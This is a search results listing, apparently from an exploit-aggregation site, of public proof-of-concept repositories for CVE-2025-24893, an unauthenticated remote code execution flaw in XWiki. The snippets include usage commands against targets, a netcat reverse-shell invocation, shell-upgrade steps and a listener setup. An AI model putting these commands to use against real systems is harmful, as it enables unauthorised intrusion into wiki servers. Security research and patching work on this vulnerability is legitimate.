34 matches found
CVE-2025-24893
CVE-2025-24893 Usage root@kitploit: python CVE-2025-24893 http://target.com...
CVE-2025-24893
CVE-2025-24893 XWiki RCE Vulnerability Analysis Environment Setup 1. Running XWiki 15.10.10 Environment root@kitploit: docker-compose up -d 2. Accessing XWiki URL: http://localhost:8080 Proceed with testing after completing the initial setup Create an admin account after accessing the initial...
CVE-2025-24893-RCE-PoC
Infos This PoC first tests for the SSTI and if it works. It will go in loop and allows you to run commands remotly. The exec and shell command do the same currently. Installation root@kitploit: python3 -m pip install requirements.txt Usage Connecting root@kitploit: python3 poc.py Example With deb...
CVE-2025-24893-POC
CVE-2025-24893 Install bun: root@kitploit: curl -fsSL https://bun.com/install | bash To install dependencies: root@kitploit: bun install To run: root@kitploit: bun run CVE-2025-24893.ts This project was created using bun init in bun v1.2.19. Bun is a fast all-in-one JavaScript runtime. How to use...
CVE-2025-24893-PoC
Disclaimer: The vulnerabilities and reproduction steps described in this document are intended solely for cybersecurity research and educational purposes. No one shall use the information provided in this document for illegal purposes or unauthorized system testing. The author assumes no...
CVE-2025-24893
Reverse shell for CVE-2025-24893 root@kitploit: python3 CVE-2025-24893.py -u http://wiki.editor.htb/ -c "busybox nc -e /bin/bash" upgrade the shell 1. python3 -c 'import pty; pty.spawn"/bin/bash"' 2. ctrl + z 3. stty size 4. stty raw -echo; fg 5. stty rows x columns y 6. export TERM=xterm...
xwiki_solrsearch-rce-exploit
solrsearch-rce-exploit Unauth RCE PoC for XWiki SolrSearch CVE-2025-24893. Command exec + reverse shell. CVE-2025-24893 – XWiki SolrSearch RCE PoC Proof-of-concept for the XWiki SolrSearch template injection leading to unauthenticated remote code execution. Tested against XWiki Debian 15.10.8...
POC-for-CVE-2025-24893
Only for assisting with vulnerability remediation, do not use for other purposes...
xwiki-15.10.8-reverse-shell-cve-2025-24893
Exploit de Reverse Shell CVE-2025-24893 para XWiki Descargo de responsabilidad: Este script está destinado solo con fines educativos y pruebas de seguridad autorizadas. No lo utilice en sistemas que no posea o para los que no tenga permiso explícito para realizar pruebas. El mal uso puede ser...
XWiki-Platform-RCE-CVE-2025-24893
Exploit de RCE no autenticado en XWiki Platform Descripción general Este script es una implementación renovada en Bash de un exploit que apunta a las versiones de XWiki Platform afectadas por CVE-2025-24893. Aprovecha una vulnerabilidad crítica de ejecución remota de código no autenticado que...
xwiki-cve-2025-24893-poc
PoC de Exploit RCE en XWiki CVE-2025-24893 Descripción general Este repositorio contiene una Prueba de Concepto PoC del exploit para la vulnerabilidad de Ejecución Remota de Código RCE en XWiki identificada como CVE-2025-24893. La vulnerabilidad permite a un atacante ejecutar código arbitrario en...
CVE-2025-24893
CVE-2025-24893 Script POC en Bash para la vulnerabilidad de RCE en XWiki Platform Ejemplo de uso: Configurar un listener de netcat: root@kitploit: $ nc -nvlp Después ejecutar el script: root@kitploit: $ chmod +x cve.sh $ ./cve.sh Versiones afectadas: Desde 5.4 hasta 15.10.11 Desde 16.0.0 hasta...
CVE-2025-24893-POC
CVE-2025-24893-POC Un POC per CVE-2025-24893 scritto in python Utilizzo python3 -u the url...
XWiki Platform - Remote Code Execution
Any guest can perform arbitrary remote code execution through a request to SolrSearch. This impacts the confidentiality, integrity, and availability of the whole XWiki installation. This vulnerability has been patched in XWiki 15.10.11, 16.4.1, and 16.5.0RC1. id: CVE-2025-24893 info: name: XWiki...
Exploit for Eval Injection in Xwiki
CVE-2025-24893 - XWiki SolrSearch SSTI to unauthenticated RCE...
Exploit for Eval Injection in Xwiki
CVE-2025-24893- CVE-20...
Exploit for Code Injection in Xwiki
CVE-2025-24893 – XWiki Remote Command Execution Proof of Conc...
Exploit for Code Injection in Xwiki
CVE-2025-24893 Remote Code Execution exploit for XWikihttp...